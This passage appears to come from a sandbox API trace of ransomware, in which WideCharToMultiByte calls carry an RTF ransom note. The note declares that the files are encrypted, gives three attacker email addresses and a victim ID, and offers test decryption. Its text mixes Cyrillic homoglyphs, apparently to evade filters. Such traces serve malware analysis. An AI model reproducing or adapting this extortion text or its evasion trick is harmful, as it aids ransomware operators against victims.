f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 